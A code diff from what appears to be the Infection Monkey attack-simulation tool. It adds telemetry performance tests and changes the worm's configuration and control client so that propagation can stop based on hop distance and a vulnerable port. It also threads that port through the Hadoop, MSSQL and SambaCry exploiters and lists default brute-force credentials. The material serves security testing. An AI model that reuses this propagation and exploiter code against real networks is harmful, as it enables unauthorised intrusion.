|
from tqdm import tqdm
|
||||||
|
|
||||||
|
TELEM_DIR_PATH = './tests/performance/telem_sample'
|
||||||
|
MAX_SAME_TYPE_TELEM_FILES = 10000
|
||||||
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class SampleFileParser:
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def save_teletries_to_files(telems: List[Dict]):
|
||||||
|
for telem in (tqdm(telems, desc="Telemetries saved to files", position=3)):
|
||||||
|
SampleFileParser.save_telemetry_to_file(telem)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def save_telemetry_to_file(telem: Dict):
|
||||||
|
telem_filename = telem['name'] + telem['method']
|
||||||
|
for i in range(MAX_SAME_TYPE_TELEM_FILES):
|
||||||
|
if not path.exists(path.join(TELEM_DIR_PATH, (str(i) + telem_filename))):
|
||||||
|
telem_filename = str(i) + telem_filename
|
||||||
|
break
|
||||||
|
with open(path.join(TELEM_DIR_PATH, telem_filename), 'w') as file:
|
||||||
|
file.write(json.dumps(telem))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def read_telem_files() -> List[str]:
|
||||||
|
telems = []
|
||||||
|
try:
|
||||||
|
file_paths = [path.join(TELEM_DIR_PATH, f) for f in listdir(TELEM_DIR_PATH)
|
||||||
|
if path.isfile(path.join(TELEM_DIR_PATH, f))]
|
||||||
|
except FileNotFoundError:
|
||||||
|
raise FileNotFoundError("Telemetries to send not found. "
|
||||||
|
"Refer to readme to figure out how to generate telemetries and where to put them.")
|
||||||
|
for file_path in file_paths:
|
||||||
|
with open(file_path, 'r') as telem_file:
|
||||||
|
telem_string = "".join(telem_file.readlines()).replace("\n", "")
|
||||||
|
telems.append(telem_string)
|
||||||
|
return telems
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_all_telemetries() -> List[Dict]:
|
||||||
|
return [json.loads(t) for t in SampleFileParser.read_telem_files()]
|
|
@ -0,0 +1,25 @@
|
||||||
|
from typing import List
|
||||||
|
|
||||||
|
|
||||||
|
class FakeIpGenerator:
|
||||||
|
def __init__(self):
|
||||||
|
self.fake_ip_parts = [1, 1, 1, 1]
|
||||||
|
|
||||||
|
def generate_fake_ips_for_real_ips(self, real_ips: List[str]) -> List[str]:
|
||||||
|
fake_ips = []
|
||||||
|
for i in range(len(real_ips)):
|
||||||
|
fake_ips.append('.'.join(str(part) for part in self.fake_ip_parts))
|
||||||
|
self.increment_ip()
|
||||||
|
return fake_ips
|
||||||
|
|
||||||
|
def increment_ip(self):
|
||||||
|
self.fake_ip_parts[3] += 1
|
||||||
|
self.try_fix_ip_range()
|
||||||
|
|
||||||
|
def try_fix_ip_range(self):
|
||||||
|
for i in range(len(self.fake_ip_parts)):
|
||||||
|
if self.fake_ip_parts[i] > 256:
|
||||||
|
if i-1 < 0:
|
||||||
|
raise Exception("Fake IP's out of range.")
|
||||||
|
self.fake_ip_parts[i-1] += 1
|
||||||
|
self.fake_ip_parts[i] = 1
|
|
@ -0,0 +1,18 @@
|
||||||
|
import random
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.\
|
||||||
|
telem_sample_parsing.sample_multiplier.fake_ip_generator import FakeIpGenerator
|
||||||
|
|
||||||
|
|
||||||
|
class FakeMonkey:
|
||||||
|
def __init__(self, ips, guid, fake_ip_generator: FakeIpGenerator, on_island=False):
|
||||||
|
self.original_ips = ips
|
||||||
|
self.original_guid = guid
|
||||||
|
self.fake_ip_generator = fake_ip_generator
|
||||||
|
self.on_island = on_island
|
||||||
|
self.fake_guid = str(random.randint(1000000000000, 9999999999999)) # noqa: DUO102
|
||||||
|
self.fake_ips = fake_ip_generator.generate_fake_ips_for_real_ips(ips)
|
||||||
|
|
||||||
|
def change_fake_data(self):
|
||||||
|
self.fake_ips = self.fake_ip_generator.generate_fake_ips_for_real_ips(self.original_ips)
|
||||||
|
self.fake_guid = str(random.randint(1000000000000, 9999999999999)) # noqa: DUO102
|
|
@ -0,0 +1,89 @@
|
||||||
|
import copy
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
from typing import List, Dict
|
||||||
|
|
||||||
|
from tqdm import tqdm
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.\
|
||||||
|
telem_sample_parsing.sample_multiplier.fake_ip_generator import FakeIpGenerator
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import FakeMonkey
|
||||||
|
|
||||||
|
TELEM_DIR_PATH = './tests/performance/telemetry_sample'
|
||||||
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class SampleMultiplier:
|
||||||
|
|
||||||
|
def __init__(self, multiplier: int):
|
||||||
|
self.multiplier = multiplier
|
||||||
|
self.fake_ip_generator = FakeIpGenerator()
|
||||||
|
|
||||||
|
def multiply_telems(self):
|
||||||
|
telems = SampleFileParser.get_all_telemetries()
|
||||||
|
telem_contents = [json.loads(telem['content']) for telem in telems]
|
||||||
|
monkeys = self.get_monkeys_from_telems(telem_contents)
|
||||||
|
for i in tqdm(range(self.multiplier), desc="Batch of fabricated telemetries", position=1):
|
||||||
|
for monkey in monkeys:
|
||||||
|
monkey.change_fake_data()
|
||||||
|
fake_telem_batch = copy.deepcopy(telems)
|
||||||
|
SampleMultiplier.fabricate_monkeys_in_telems(fake_telem_batch, monkeys)
|
||||||
|
SampleMultiplier.offset_telem_times(iteration=i, telems=fake_telem_batch)
|
||||||
|
SampleFileParser.save_teletries_to_files(fake_telem_batch)
|
||||||
|
LOGGER.info("")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def fabricate_monkeys_in_telems(telems: List[Dict], monkeys: List[FakeMonkey]):
|
||||||
|
for telem in tqdm(telems, desc="Telemetries fabricated", position=2):
|
||||||
|
for monkey in monkeys:
|
||||||
|
if monkey.on_island:
|
||||||
|
continue
|
||||||
|
if (monkey.original_guid in telem['content'] or monkey.original_guid in telem['endpoint']) \
|
||||||
|
and not monkey.on_island:
|
||||||
|
telem['content'] = telem['content'].replace(monkey.original_guid, monkey.fake_guid)
|
||||||
|
telem['endpoint'] = telem['endpoint'].replace(monkey.original_guid, monkey.fake_guid)
|
||||||
|
for i in range(len(monkey.original_ips)):
|
||||||
|
telem['content'] = telem['content'].replace(monkey.original_ips[i], monkey.fake_ips[i])
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def offset_telem_times(iteration: int, telems: List[Dict]):
|
||||||
|
for telem in telems:
|
||||||
|
telem['time']['$date'] += iteration * 1000
|
||||||
|
|
||||||
|
def get_monkeys_from_telems(self, telems: List[Dict]):
|
||||||
|
island_ips = SampleMultiplier.get_island_ips_from_telems(telems)
|
||||||
|
monkeys = []
|
||||||
|
for telem in [telem for telem in telems
|
||||||
|
if 'telem_category' in telem and telem['telem_category'] == 'system_info']:
|
||||||
|
if 'network_info' not in telem['data']:
|
||||||
|
continue
|
||||||
|
guid = telem['monkey_guid']
|
||||||
|
monkey_present = [monkey for monkey in monkeys if monkey.original_guid == guid]
|
||||||
|
if not monkey_present:
|
||||||
|
ips = [net_info['addr'] for net_info in telem['data']['network_info']['networks']]
|
||||||
|
if set(island_ips).intersection(ips):
|
||||||
|
on_island = True
|
||||||
|
else:
|
||||||
|
on_island = False
|
||||||
|
|
||||||
|
monkeys.append(FakeMonkey(ips=ips,
|
||||||
|
guid=guid,
|
||||||
|
fake_ip_generator=self.fake_ip_generator,
|
||||||
|
on_island=on_island))
|
||||||
|
return monkeys
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_island_ips_from_telems(telems: List[Dict]) -> List[str]:
|
||||||
|
island_ips = []
|
||||||
|
for telem in telems:
|
||||||
|
if 'config' in telem:
|
||||||
|
island_ips = telem['config']['command_servers']
|
||||||
|
for i in range(len(island_ips)):
|
||||||
|
island_ips[i] = island_ips[i].replace(":5000", "")
|
||||||
|
return island_ips
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
SampleMultiplier(multiplier=int(sys.argv[1])).multiply_telems()
|
|
@ -0,0 +1,19 @@
|
||||||
|
from unittest import TestCase
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.\
|
||||||
|
telem_sample_parsing.sample_multiplier.fake_ip_generator import FakeIpGenerator
|
||||||
|
|
||||||
|
|
||||||
|
class TestFakeIpGenerator(TestCase):
|
||||||
|
|
||||||
|
def test_fake_ip_generation(self):
|
||||||
|
fake_ip_gen = FakeIpGenerator()
|
||||||
|
self.assertListEqual([1, 1, 1, 1], fake_ip_gen.fake_ip_parts)
|
||||||
|
for i in range(256):
|
||||||
|
fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1'])
|
||||||
|
self.assertListEqual(['1.1.2.1'], fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']))
|
||||||
|
fake_ip_gen.fake_ip_parts = [256, 256, 255, 256]
|
||||||
|
self.assertListEqual(['256.256.255.256', '256.256.256.1'],
|
||||||
|
fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1', '1.1.1.2']))
|
||||||
|
fake_ip_gen.fake_ip_parts = [256, 256, 256, 256]
|
||||||
|
self.assertRaises(Exception, fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']))
|
|
@ -0,0 +1,55 @@
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
from datetime import timedelta
|
||||||
|
|
||||||
|
from tqdm import tqdm
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer
|
||||||
|
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||||
|
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser
|
||||||
|
|
||||||
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
MAX_ALLOWED_SINGLE_TELEM_PARSE_TIME = timedelta(seconds=2)
|
||||||
|
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=60)
|
||||||
|
|
||||||
|
|
||||||
|
class TelemetryPerformanceTest:
|
||||||
|
|
||||||
|
def __init__(self, island_client: MonkeyIslandClient, quick_performance_test: bool):
|
||||||
|
self.island_client = island_client
|
||||||
|
self.quick_performance_test = quick_performance_test
|
||||||
|
|
||||||
|
def test_telemetry_performance(self):
|
||||||
|
LOGGER.info("Starting telemetry performance test.")
|
||||||
|
try:
|
||||||
|
all_telemetries = SampleFileParser.get_all_telemetries()
|
||||||
|
except FileNotFoundError:
|
||||||
|
raise FileNotFoundError("Telemetries to send not found. "
|
||||||
|
"Refer to readme to figure out how to generate telemetries and where to put them.")
|
||||||
|
LOGGER.info("Telemetries imported successfully.")
|
||||||
|
all_telemetries.sort(key=lambda telem: telem['time']['$date'])
|
||||||
|
telemetry_parse_times = {}
|
||||||
|
for telemetry in tqdm(all_telemetries, total=len(all_telemetries), ascii=True, desc="Telemetries sent"):
|
||||||
|
telemetry_endpoint = TelemetryPerformanceTest.get_verbose_telemetry_endpoint(telemetry)
|
||||||
|
telemetry_parse_times[telemetry_endpoint] = self.get_telemetry_time(telemetry)
|
||||||
|
test_config = PerformanceTestConfig(MAX_ALLOWED_SINGLE_TELEM_PARSE_TIME, MAX_ALLOWED_TOTAL_TIME)
|
||||||
|
PerformanceAnalyzer(test_config, telemetry_parse_times).analyze_test_results()
|
||||||
|
if not self.quick_performance_test:
|
||||||
|
self.island_client.reset_env()
|
||||||
|
|
||||||
|
def get_telemetry_time(self, telemetry):
|
||||||
|
content = telemetry['content']
|
||||||
|
url = telemetry['endpoint']
|
||||||
|
method = SupportedRequestMethod.__getattr__(telemetry['method'])
|
||||||
|
|
||||||
|
return self.island_client.requests.get_request_time(url=url, method=method, data=content)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_verbose_telemetry_endpoint(telemetry):
|
||||||
|
telem_category = ""
|
||||||
|
if "telem_category" in telemetry['content']:
|
||||||
|
telem_category = "_" + json.loads(telemetry['content'])['telem_category'] + "_" + telemetry['_id']['$oid']
|
||||||
|
return telemetry['endpoint'] + telem_category
|
|
@ -0,0 +1,25 @@
|
||||||
|
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import TelemetryPerformanceTest
|
||||||
|
|
||||||
|
|
||||||
|
class TelemetryPerformanceTestWorkflow(BasicTest):
|
||||||
|
|
||||||
|
def __init__(self, name, island_client, performance_config: PerformanceTestConfig, quick_performance_test):
|
||||||
|
self.name = name
|
||||||
|
self.island_client = island_client
|
||||||
|
self.performance_config = performance_config
|
||||||
|
self.quick_performance_test = quick_performance_test
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
try:
|
||||||
|
if not self.quick_performance_test:
|
||||||
|
telem_sending_test = TelemetryPerformanceTest(island_client=self.island_client,
|
||||||
|
quick_performance_test=self.quick_performance_test)
|
||||||
|
telem_sending_test.test_telemetry_performance()
|
||||||
|
performance_test = EndpointPerformanceTest(self.name, self.performance_config, self.island_client)
|
||||||
|
assert performance_test.run()
|
||||||
|
finally:
|
||||||
|
if not self.quick_performance_test:
|
||||||
|
self.island_client.reset_env()
|
|
@ -1,6 +1,5 @@
|
||||||
import subprocess
|
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
import subprocess
|
||||||
|
|
||||||
LOGGER = logging.getLogger(__name__)
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -16,10 +15,10 @@ class GCPHandler(object):
|
||||||
self.zone = zone
|
self.zone = zone
|
||||||
try:
|
try:
|
||||||
# pass the key file to gcp
|
# pass the key file to gcp
|
||||||
subprocess.call(GCPHandler.get_auth_command(key_path), shell=True)
|
subprocess.call(GCPHandler.get_auth_command(key_path), shell=True) # noqa: DUO116
|
||||||
LOGGER.info("GCP Handler passed key")
|
LOGGER.info("GCP Handler passed key")
|
||||||
# set project
|
# set project
|
||||||
subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True)
|
subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116
|
||||||
LOGGER.info("GCP Handler set project")
|
LOGGER.info("GCP Handler set project")
|
||||||
LOGGER.info("GCP Handler initialized successfully")
|
LOGGER.info("GCP Handler initialized successfully")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
@ -33,14 +32,14 @@ class GCPHandler(object):
|
||||||
"""
|
"""
|
||||||
LOGGER.info("Setting up all GCP machines...")
|
LOGGER.info("Setting up all GCP machines...")
|
||||||
try:
|
try:
|
||||||
subprocess.call((GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True)
|
subprocess.call((GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True) # noqa: DUO116
|
||||||
LOGGER.info("GCP machines successfully started.")
|
LOGGER.info("GCP machines successfully started.")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
|
LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
|
||||||
|
|
||||||
def stop_machines(self, machine_list):
|
def stop_machines(self, machine_list):
|
||||||
try:
|
try:
|
||||||
subprocess.call((GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True)
|
subprocess.call((GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True) # noqa: DUO116
|
||||||
LOGGER.info("GCP machines stopped successfully.")
|
LOGGER.info("GCP machines stopped successfully.")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
|
LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
import json
|
import json
|
||||||
|
|
||||||
from bson import ObjectId
|
from bson import ObjectId
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -57,6 +57,3 @@ class TestOSCompatibility(object):
|
||||||
|
|
||||||
if len(ips_that_communicated) < len(machine_list):
|
if len(ips_that_communicated) < len(machine_list):
|
||||||
assert False
|
assert False
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,12 @@
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
def get_host_from_network_location(network_location: str) -> str:
|
||||||
|
"""
|
||||||
|
URL structure is "<scheme>://<net_loc>/<path>;<params>?<query>#<fragment>" (https://tools.ietf.org/html/rfc1808.html)
|
||||||
|
And the net_loc is "<user>:<password>@<host>:<port>" (https://tools.ietf.org/html/rfc1738#section-3.1)
|
||||||
|
:param network_location: server network location
|
||||||
|
:return: host part of the network location
|
||||||
|
"""
|
||||||
|
url = urlparse("http://" + network_location)
|
||||||
|
return str(url.hostname)
|
|
@ -0,0 +1,12 @@
|
||||||
|
from unittest import TestCase
|
||||||
|
|
||||||
|
from common.network.network_utils import get_host_from_network_location
|
||||||
|
|
||||||
|
|
||||||
|
class TestNetworkUtils(TestCase):
|
||||||
|
def test_remove_port_from_ip_string(self):
|
||||||
|
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
|
||||||
|
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
|
||||||
|
assert get_host_from_network_location("127.0.0.1") == "127.0.0.1"
|
||||||
|
assert get_host_from_network_location("www.google.com:8080") == "www.google.com"
|
||||||
|
assert get_host_from_network_location("user:password@host:8080") == "host"
|
|
@ -1,5 +1,7 @@
|
||||||
import wmi
|
import sys
|
||||||
import win32com
|
if sys.platform == 'win32':
|
||||||
|
import win32com
|
||||||
|
import wmi
|
||||||
|
|
||||||
__author__ = 'maor.rayzin'
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
|
@ -1,25 +0,0 @@
|
||||||
import winreg
|
|
||||||
|
|
||||||
from common.utils.mongo_utils import MongoUtils
|
|
||||||
|
|
||||||
__author__ = 'maor.rayzin'
|
|
||||||
|
|
||||||
|
|
||||||
class RegUtils:
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
# Static class
|
|
||||||
pass
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_reg_key(subkey_path, store=winreg.HKEY_LOCAL_MACHINE):
|
|
||||||
key = winreg.ConnectRegistry(None, store)
|
|
||||||
subkey = winreg.OpenKey(key, subkey_path)
|
|
||||||
|
|
||||||
d = dict([winreg.EnumValue(subkey, i)[:2] for i in range(winreg.QueryInfoKey(subkey)[0])])
|
|
||||||
d = MongoUtils.fix_obj_for_mongo(d)
|
|
||||||
|
|
||||||
subkey.Close()
|
|
||||||
key.Close()
|
|
||||||
|
|
||||||
return d
|
|
|
@ -4,7 +4,7 @@ from pathlib import Path
|
||||||
|
|
||||||
MAJOR = "1"
|
MAJOR = "1"
|
||||||
MINOR = "8"
|
MINOR = "8"
|
||||||
PATCH = "1"
|
PATCH = "2"
|
||||||
build_file_path = Path(__file__).parent.joinpath("BUILD")
|
build_file_path = Path(__file__).parent.joinpath("BUILD")
|
||||||
with open(build_file_path, "r") as build_file:
|
with open(build_file_path, "r") as build_file:
|
||||||
BUILD = build_file.read()
|
BUILD = build_file.read()
|
||||||
|
|
|
@ -13,6 +13,7 @@ GUID = str(uuid.getnode())
|
||||||
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
||||||
|
|
||||||
SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys"]
|
SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys"]
|
||||||
|
LOCAL_CONFIG_VARS = ["name", "id", "current_server", "max_depth"]
|
||||||
HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
|
HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
|
||||||
|
|
||||||
|
|
||||||
|
@ -22,14 +23,17 @@ class Configuration(object):
|
||||||
for key, value in list(formatted_data.items()):
|
for key, value in list(formatted_data.items()):
|
||||||
if key.startswith('_'):
|
if key.startswith('_'):
|
||||||
continue
|
continue
|
||||||
if key in ["name", "id", "current_server"]:
|
if key in LOCAL_CONFIG_VARS:
|
||||||
continue
|
continue
|
||||||
if self._depth_from_commandline and key == "depth":
|
if self._depth_from_commandline and key == "depth":
|
||||||
|
self.max_depth = value
|
||||||
continue
|
continue
|
||||||
if hasattr(self, key):
|
if hasattr(self, key):
|
||||||
setattr(self, key, value)
|
setattr(self, key, value)
|
||||||
else:
|
else:
|
||||||
unknown_items.append(key)
|
unknown_items.append(key)
|
||||||
|
if not self.max_depth:
|
||||||
|
self.max_depth = self.depth
|
||||||
return unknown_items
|
return unknown_items
|
||||||
|
|
||||||
def from_json(self, json_data):
|
def from_json(self, json_data):
|
||||||
|
@ -135,6 +139,8 @@ class Configuration(object):
|
||||||
|
|
||||||
# depth of propagation
|
# depth of propagation
|
||||||
depth = 2
|
depth = 2
|
||||||
|
max_depth = None
|
||||||
|
started_on_island = False
|
||||||
current_server = ""
|
current_server = ""
|
||||||
|
|
||||||
# Configuration servers to try to connect to, in this order.
|
# Configuration servers to try to connect to, in this order.
|
||||||
|
@ -232,6 +238,18 @@ class Configuration(object):
|
||||||
cred_list.append(cred)
|
cred_list.append(cred)
|
||||||
return cred_list
|
return cred_list
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def hash_sensitive_data(sensitive_data):
|
||||||
|
"""
|
||||||
|
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
|
||||||
|
saved on client machines plain-text.
|
||||||
|
|
||||||
|
:param sensitive_data: the data to hash.
|
||||||
|
:return: the hashed data.
|
||||||
|
"""
|
||||||
|
password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
|
||||||
|
return password_hashed
|
||||||
|
|
||||||
exploit_user_list = ['Administrator', 'root', 'user']
|
exploit_user_list = ['Administrator', 'root', 'user']
|
||||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||||
exploit_lm_hash_list = []
|
exploit_lm_hash_list = []
|
||||||
|
@ -259,23 +277,22 @@ class Configuration(object):
|
||||||
|
|
||||||
extract_azure_creds = True
|
extract_azure_creds = True
|
||||||
|
|
||||||
|
###########################
|
||||||
|
# post breach actions
|
||||||
|
###########################
|
||||||
post_breach_actions = []
|
post_breach_actions = []
|
||||||
custom_PBA_linux_cmd = ""
|
custom_PBA_linux_cmd = ""
|
||||||
custom_PBA_windows_cmd = ""
|
custom_PBA_windows_cmd = ""
|
||||||
PBA_linux_filename = None
|
PBA_linux_filename = None
|
||||||
PBA_windows_filename = None
|
PBA_windows_filename = None
|
||||||
|
|
||||||
@staticmethod
|
###########################
|
||||||
def hash_sensitive_data(sensitive_data):
|
# testing configuration
|
||||||
"""
|
###########################
|
||||||
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
|
export_monkey_telems = False
|
||||||
saved on client machines plain-text.
|
|
||||||
|
|
||||||
:param sensitive_data: the data to hash.
|
def get_hop_distance_to_island(self):
|
||||||
:return: the hashed data.
|
return self.max_depth - self.depth
|
||||||
"""
|
|
||||||
password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
|
|
||||||
return password_hashed
|
|
||||||
|
|
||||||
|
|
||||||
WormConfiguration = Configuration()
|
WormConfiguration = Configuration()
|
||||||
|
|
|
@ -15,6 +15,8 @@ from infection_monkey.transport.tcp import TcpProxy
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
|
||||||
|
|
||||||
requests.packages.urllib3.disable_warnings()
|
requests.packages.urllib3.disable_warnings()
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
@ -321,3 +323,29 @@ class ControlClient(object):
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except requests.exceptions.RequestException:
|
except requests.exceptions.RequestException:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def should_monkey_run(vulnerable_port: str) -> bool:
|
||||||
|
if vulnerable_port and \
|
||||||
|
WormConfiguration.get_hop_distance_to_island() > 1 and \
|
||||||
|
ControlClient.can_island_see_port(vulnerable_port) and \
|
||||||
|
WormConfiguration.started_on_island:
|
||||||
|
raise PlannedShutdownException("Monkey shouldn't run on current machine "
|
||||||
|
"(it will be exploited later with more depth).")
|
||||||
|
return True
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def can_island_see_port(port):
|
||||||
|
try:
|
||||||
|
url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}"
|
||||||
|
response = requests.get(url, verify=False)
|
||||||
|
response = json.loads(response.content.decode())
|
||||||
|
return response['status'] == "port_visible"
|
||||||
|
except requests.exceptions.RequestException:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def report_start_on_island():
|
||||||
|
requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
|
||||||
|
data=json.dumps({'started_on_island': True}),
|
||||||
|
verify=False)
|
||||||
|
|
|
@ -44,6 +44,7 @@ class MonkeyDrops(object):
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth', type=int)
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
arg_parser.add_argument('-l', '--location')
|
arg_parser.add_argument('-l', '--location')
|
||||||
|
arg_parser.add_argument('-vp', '--vulnerable-port')
|
||||||
self.monkey_args = args[1:]
|
self.monkey_args = args[1:]
|
||||||
self.opts, _ = arg_parser.parse_known_args(args)
|
self.opts, _ = arg_parser.parse_known_args(args)
|
||||||
|
|
||||||
|
@ -115,7 +116,12 @@ class MonkeyDrops(object):
|
||||||
LOG.warning("Cannot set reference date to destination file")
|
LOG.warning("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_options = \
|
monkey_options = \
|
||||||
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
build_monkey_commandline_explicitly(parent=self.opts.parent,
|
||||||
|
tunnel=self.opts.tunnel,
|
||||||
|
server=self.opts.server,
|
||||||
|
depth=self.opts.depth,
|
||||||
|
location=None,
|
||||||
|
vulnerable_port=self.opts.vulnerable_port)
|
||||||
|
|
||||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||||
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
||||||
|
|
|
@ -73,7 +73,8 @@ class HadoopExploiter(WebRCE):
|
||||||
|
|
||||||
def build_command(self, path, http_path):
|
def build_command(self, path, http_path):
|
||||||
# Build command to execute
|
# Build command to execute
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0])
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
base_command = HADOOP_LINUX_COMMAND
|
base_command = HADOOP_LINUX_COMMAND
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -133,6 +133,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
# Form monkey's launch command
|
# Form monkey's launch command
|
||||||
monkey_args = build_monkey_commandline(self.host,
|
monkey_args = build_monkey_commandline(self.host,
|
||||||
get_monkey_depth() - 1,
|
get_monkey_depth() - 1,
|
||||||
|
MSSQLExploiter.SQL_DEFAULT_TCP_PORT,
|
||||||
dst_path)
|
dst_path)
|
||||||
suffix = ">>{}".format(self.payload_file_path)
|
suffix = ">>{}".format(self.payload_file_path)
|
||||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||||
|
|
|
@ -329,7 +329,10 @@ class SambaCryExploiter(HostExploiter):
|
||||||
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||||
|
|
||||||
def get_monkey_commandline_file(self, location):
|
def get_monkey_commandline_file(self, location):
|
||||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location)))
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
SambaCryExploiter.SAMBA_PORT,
|
||||||
|
str(location)))
|
||||||
|
|
